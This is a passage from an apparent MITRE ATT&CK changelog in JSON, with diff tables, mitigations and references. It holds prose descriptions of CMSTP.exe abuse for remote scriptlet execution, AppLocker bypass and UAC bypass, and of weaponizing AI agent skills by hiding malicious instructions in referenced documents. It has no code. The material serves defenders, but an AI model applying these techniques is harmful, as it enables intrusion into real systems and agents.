nowrap=\"nowrap\">eat&nbsp;Hunting&nbsp;Report&nbsp;2026)(Citation:&nbsp;Microsoft&nbsp;Contagious&nbsp;Inte</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">arch&nbsp;2026)&nbsp;To&nbsp;encourage&nbsp;downloads,&nbsp;adversaries&nbsp;may&nbsp;publish&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rview&nbsp;March&nbsp;2026)&nbsp;To&nbsp;encourage&nbsp;downloads,&nbsp;adversaries&nbsp;may&nbsp;pu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hese&nbsp;files&nbsp;under&nbsp;benign-appearing&nbsp;or&nbsp;typo-squatted&nbsp;names,&nbsp;up</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">blish&nbsp;these&nbsp;files&nbsp;under&nbsp;benign-appearing&nbsp;or&nbsp;typo-squatted&nbsp;na</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">load&nbsp;unmodified&nbsp;copies&nbsp;of&nbsp;the&nbsp;genuine&nbsp;skills&nbsp;first&nbsp;so&nbsp;the&nbsp;li</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mes,&nbsp;upload&nbsp;unmodified&nbsp;copies&nbsp;of&nbsp;the&nbsp;genuine&nbsp;skills&nbsp;first&nbsp;so</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stings&nbsp;accumulate&nbsp;installs&nbsp;before&nbsp;the&nbsp;content&nbsp;behind&nbsp;them&nbsp;is</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;listings&nbsp;accumulate&nbsp;installs&nbsp;before&nbsp;the&nbsp;content&nbsp;behind&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;weaponized,&nbsp;or&nbsp;may&nbsp;place&nbsp;the&nbsp;malicious&nbsp;instructions&nbsp;in&nbsp;a&nbsp;se</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">them&nbsp;is&nbsp;weaponized,&nbsp;or&nbsp;may&nbsp;place&nbsp;the&nbsp;malicious&nbsp;instructions&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">condary&nbsp;document&nbsp;that&nbsp;the&nbsp;reviewed&nbsp;entry&nbsp;point&nbsp;references.(C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;a&nbsp;secondary&nbsp;document&nbsp;that&nbsp;the&nbsp;reviewed&nbsp;entry&nbsp;point&nbsp;refere</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;Zenity&nbsp;Skill&nbsp;Supply&nbsp;Chain&nbsp;August&nbsp;2026)(Citation:&nbsp;ES</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nces.(Citation:&nbsp;Zenity&nbsp;Skill&nbsp;Supply&nbsp;Chain&nbsp;August&nbsp;2026)(Citat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ET&nbsp;Agent&nbsp;Skills&nbsp;March&nbsp;2026)&nbsp;Because&nbsp;these&nbsp;artifacts&nbsp;are&nbsp;natu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;ESET&nbsp;Agent&nbsp;Skills&nbsp;March&nbsp;2026)&nbsp;Because&nbsp;these&nbsp;artifacts&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ral&nbsp;language&nbsp;or&nbsp;configuration&nbsp;rather&nbsp;than&nbsp;executable&nbsp;code,&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;natural&nbsp;language&nbsp;or&nbsp;configuration&nbsp;rather&nbsp;than&nbsp;executable&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hey&nbsp;may&nbsp;pass&nbsp;registry&nbsp;screening&nbsp;and&nbsp;signature-based&nbsp;scanning</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code,&nbsp;they&nbsp;may&nbsp;pass&nbsp;registry&nbsp;screening&nbsp;and&nbsp;signature-based&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.(Citation:&nbsp;ESET&nbsp;Agent&nbsp;Skills&nbsp;March&nbsp;2026)(Citation:&nbsp;TrendMic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">canning.(Citation:&nbsp;ESET&nbsp;Agent&nbsp;Skills&nbsp;March&nbsp;2026)(Citation:&nbsp;T</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ro&nbsp;-&nbsp;OpenClaw&nbsp;Skills&nbsp;Distribute&nbsp;ATMOS)&nbsp;&nbsp;&nbsp;Targeting&nbsp;may&nbsp;be&nbsp;sp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rendMicro&nbsp;-&nbsp;OpenClaw&nbsp;Skills&nbsp;Distribute&nbsp;ATMOS)&nbsp;&nbsp;&nbsp;Targeting&nbsp;ma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecific&nbsp;to&nbsp;a&nbsp;desired&nbsp;victim&nbsp;set&nbsp;or&nbsp;may&nbsp;be&nbsp;distributed&nbsp;to&nbsp;a&nbsp;br</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;be&nbsp;specific&nbsp;to&nbsp;a&nbsp;desired&nbsp;victim&nbsp;set&nbsp;or&nbsp;may&nbsp;be&nbsp;distributed&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oad&nbsp;set&nbsp;of&nbsp;consumers&nbsp;but&nbsp;only&nbsp;move&nbsp;on&nbsp;to&nbsp;additional&nbsp;tactics&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;a&nbsp;broad&nbsp;set&nbsp;of&nbsp;consumers&nbsp;but&nbsp;only&nbsp;move&nbsp;on&nbsp;to&nbsp;additional&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;specific&nbsp;victims.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">actics&nbsp;on&nbsp;specific&nbsp;victims.&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1013: Application Developer Guidance",
                            "M1016: Vulnerability Scanning",
                            "M1033: Limit Software Installation",
                            "M1051: Update Software"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0009: Supply-chain tamper in dependencies/dev-tools (manager\u2192write/install\u2192first-run\u2192egress)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-23 18:27:30.656000+00:00",
                    "modified": "2026-11-04 03:33:56.478000+00:00",
                    "name": "CMSTP",
                    "description": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles.(Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands.(Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs(Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers.(Citation: Twitter CMSTP Jan 2018)(Citation: GitHub Ultimate AppLocker Bypass List)(Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface.(Citation: MSitPros CMSTP Aug 2017)(Citation: GitHub Ultimate AppLocker Bypass List)(Citation: Endurant CMSTP July 2018)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1218/003",
                            "external_id": "T1218.003"
                        },
                        {
                            "source_name": "Twitter CMSTP Usage Jan 2018",
                            "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved September 12, 2024.",
                            "url": "https://x.com/ItsReallyNick/status/958789644165894146"
                        },
                        {
                            "source_name": "Microsoft Connection Manager Oct 2009",
                            "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.",
                            "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)"
                        },
                        {
                            "source_name": "MSitPros CMSTP Aug 2017",
                            "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.",
                            "url": "https://msitpros.com/?p=3960"
                        },
                        {
                            "source_name": "GitHub Ultimate AppLocker Bypass List",
                            "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.",
                            "url": "https://github.com/api0cradle/UltimateAppLockerByPassList"
                        },
                        {
                            "source_name": "Endurant CMSTP July 2018",
                            "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved November 17, 2024.",
                            "url": "https://web.archive.org/web/20190316220149/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/"
                        },
                        {
                            "source_name": "Twitter CMSTP Jan 2018",
                            "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved September 12, 2024.",
                            "url": "https://x.com/NickTyrer/status/958450014111633408"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Nik Seetharaman, Palantir",
                        "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "3.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:33:56.478000+00:00\", \"old_value\": \"2026-05-12 15:12:00.631000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles.(Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\\n\\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands.(Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \\u201dSquiblydoo\\u201d, CMSTP.exe may be abused to load and execute DLLs(Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers.(Citation: Twitter CMSTP Jan 2018)(Citation: GitHub Ultimate AppLocker Bypass List)(Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\\n\\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface.(Citation: MSitPros CMSTP Aug 2017)(Citation: GitHub Ultimate AppLocker Bypass List)(Citation: Endurant CMSTP July 2018)\", \"old_value\": \"Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\\n\\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \\u201dSquiblydoo\\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\\n\\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n-Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\\n+Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles.(Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\\n \\n-Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \\u201dSquiblydoo\\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\\n+Adversaries may supply CMSTP.exe with INF files infected with malicious commands.(Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \\u201dSquiblydoo\\u201d, CMSTP.exe may be abused to load and execute DLLs(Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers.(Citation: Twitter CMSTP Jan 2018)(Citation: GitHub Ultimate AppLocker Bypass List)(Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\\n \\n-CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)\\n+CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface.(Citation: MSitPros CMSTP Aug 2017)(Citation: GitHub Ultimate AppLocker Bypass List)(Citation: Endurant CMSTP July 2018)\"}}}",
                    "previous_version": "3.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to126__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to126__0\"><a href=\"#difflib_chg_to126__top\">t</a></td><td class=\"diff_header\" id=\"from126_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;CMSTP&nbsp;to&nbsp;proxy&nbsp;execution&nbsp;of&nbsp;malicious&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to126__top\">t</a></td><td class=\"diff_header\" id=\"to126_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;CMSTP&nbsp;to&nbsp;proxy&nbsp;execution&nbsp;of&nbsp;malicious&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code.&nbsp;The&nbsp;Microsoft&nbsp;Connection&nbsp;Manager&nbsp;Profile&nbsp;Installer&nbsp;(CM</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code.&nbsp;The&nbsp;Microsoft&nbsp;Connection&nbsp;Manager&nbsp;Profile&nbsp;Installer&nbsp;(CM</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">STP.exe)&nbsp;is&nbsp;a&nbsp;command-line&nbsp;program&nbsp;used&nbsp;to&nbsp;install&nbsp;Connectio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">STP.exe)&nbsp;is&nbsp;a&nbsp;command-line&nbsp;program&nbsp;used&nbsp;to&nbsp;install&nbsp;Connectio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;Manager&nbsp;service&nbsp;profiles.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;Connection&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;Manager&nbsp;service&nbsp;profiles.(Citation:&nbsp;Microsoft&nbsp;Connection&nbsp;M</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Manager&nbsp;Oct&nbsp;2009)&nbsp;CMSTP.exe&nbsp;accepts&nbsp;an&nbsp;installation&nbsp;informat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">anager&nbsp;Oct&nbsp;2009)&nbsp;CMSTP.exe&nbsp;accepts&nbsp;an&nbsp;installation&nbsp;informati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion&nbsp;file&nbsp;(INF)&nbsp;as&nbsp;a&nbsp;parameter&nbsp;and&nbsp;installs&nbsp;a&nbsp;service&nbsp;profile</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;file&nbsp;(INF)&nbsp;as&nbsp;a&nbsp;parameter&nbsp;and&nbsp;installs&nbsp;a&nbsp;service&nbsp;profile&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;leveraged&nbsp;for&nbsp;remote&nbsp;access&nbsp;connections.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">leveraged&nbsp;for&nbsp;remote&nbsp;access&nbsp;connections.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;su</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">upply&nbsp;CMSTP.exe&nbsp;with&nbsp;INF&nbsp;files&nbsp;infected&nbsp;with&nbsp;malicious&nbsp;comma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pply&nbsp;CMSTP.exe&nbsp;with&nbsp;INF&nbsp;files&nbsp;infected&nbsp;with&nbsp;malicious&nbsp;comman</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nds.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Twitter&nbsp;CMSTP&nbsp;Usage&nbsp;Jan&nbsp;2018)&nbsp;Similar&nbsp;to&nbsp;[Re</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ds.(Citation:&nbsp;Twitter&nbsp;CMSTP&nbsp;Usage&nbsp;Jan&nbsp;2018)&nbsp;Similar&nbsp;to&nbsp;[Regs</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gsvr32](https://attack.mitre.org/techniques/T1218/010)&nbsp;/&nbsp;\u201dSq</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vr32](https://attack.mitre.org/techniques/T1218/010)&nbsp;/&nbsp;\u201dSqui</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uiblydoo\u201d,&nbsp;CMSTP.exe&nbsp;may&nbsp;be&nbsp;abused&nbsp;to&nbsp;load&nbsp;and&nbsp;execute&nbsp;DLLs<span class=\"diff_sub\">&nbsp;</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">blydoo\u201d,&nbsp;CMSTP.exe&nbsp;may&nbsp;be&nbsp;abused&nbsp;to&nbsp;load&nbsp;and&nbsp;execute&nbsp;DLLs(Ci</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\"></span>(Citation:&nbsp;MSitPros&nbsp;CMSTP&nbsp;Aug&nbsp;2017)&nbsp;&nbsp;and/or&nbsp;COM&nbsp;scriptlets&nbsp;(</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation:&nbsp;MSitPros&nbsp;CMSTP&nbsp;Aug&nbsp;2017)&nbsp;&nbsp;and/or&nbsp;COM&nbsp;scriptlets&nbsp;(SCT</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">SCT)&nbsp;from&nbsp;remote&nbsp;servers.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Twitter&nbsp;CMSTP&nbsp;Jan&nbsp;2018)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;from&nbsp;remote&nbsp;servers.(Citation:&nbsp;Twitter&nbsp;CMSTP&nbsp;Jan&nbsp;2018)(Cit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;GitHub&nbsp;Ultimate&nbsp;AppLocker&nbsp;Bypass&nbsp;List)<span class=\"diff_sub\">&nbsp;</span>(Citation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;GitHub&nbsp;Ultimate&nbsp;AppLocker&nbsp;Bypass&nbsp;List)(Citation:&nbsp;Endu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;Endurant&nbsp;CMSTP&nbsp;July&nbsp;2018)&nbsp;This&nbsp;execution&nbsp;may&nbsp;also&nbsp;bypass&nbsp;A</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rant&nbsp;CMSTP&nbsp;July&nbsp;2018)&nbsp;This&nbsp;execution&nbsp;may&nbsp;also&nbsp;bypass&nbsp;AppLock</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ppLocker&nbsp;and&nbsp;other&nbsp;application&nbsp;control&nbsp;defenses&nbsp;since&nbsp;CMSTP.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;and&nbsp;other&nbsp;application&nbsp;control&nbsp;defenses&nbsp;since&nbsp;CMSTP.exe&nbsp;is</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">exe&nbsp;is&nbsp;a&nbsp;legitimate&nbsp;binary&nbsp;that&nbsp;may&nbsp;be&nbsp;signed&nbsp;by&nbsp;Microsoft.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;legitimate&nbsp;binary&nbsp;that&nbsp;may&nbsp;be&nbsp;signed&nbsp;by&nbsp;Microsoft.&nbsp;&nbsp;CMSTP</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;CMSTP.exe&nbsp;can&nbsp;also&nbsp;be&nbsp;abused&nbsp;to&nbsp;[Bypass&nbsp;User&nbsp;Account&nbsp;Contro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.exe&nbsp;can&nbsp;also&nbsp;be&nbsp;abused&nbsp;to&nbsp;[Bypass&nbsp;User&nbsp;Account&nbsp;Control](htt</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l](https://attack.mitre.org/techniques/T1548/002)&nbsp;and&nbsp;execut</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ps://attack.mitre.org/techniques/T1548/002)&nbsp;and&nbsp;execute&nbsp;arbi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;arbitrary&nbsp;commands&nbsp;from&nbsp;a&nbsp;malicious&nbsp;INF&nbsp;through&nbsp;an&nbsp;auto-el</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">trary&nbsp;commands&nbsp;from&nbsp;a&nbsp;malicious&nbsp;INF&nbsp;through&nbsp;an&nbsp;auto-elevated</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">evated&nbsp;COM&nbsp;interface.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;MSitPros&nbsp;CMSTP&nbsp;Aug&nbsp;2017)<span class=\"diff_sub\">&nbsp;</span>(C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;COM&nbsp;interface.(Citation:&nbsp;MSitPros&nbsp;CMSTP&nbsp;Aug&nbsp;2017)(Citation:</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;GitHub&nbsp;Ultimate&nbsp;AppLocker&nbsp;Bypass&nbsp;List)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;E</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;GitHub&nbsp;Ultimate&nbsp;AppLocker&nbsp;Bypass&nbsp;List)(Citation:&nbsp;Endurant&nbsp;C</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ndurant&nbsp;CMSTP&nbsp;July&nbsp;2018)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">MSTP&nbsp;July&nbsp;2018)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1038: Execution Prevention",
                            "M1042: Disable or Remove Feature or Program"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0328: Detection of Malicious Profile Installation via CMSTP.exe"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-23 18:53:54.377000+00:00",
                    "modified": "2026-11-04 00:40:34.061000+00:00",
                    "name": "Compiled HTML File",
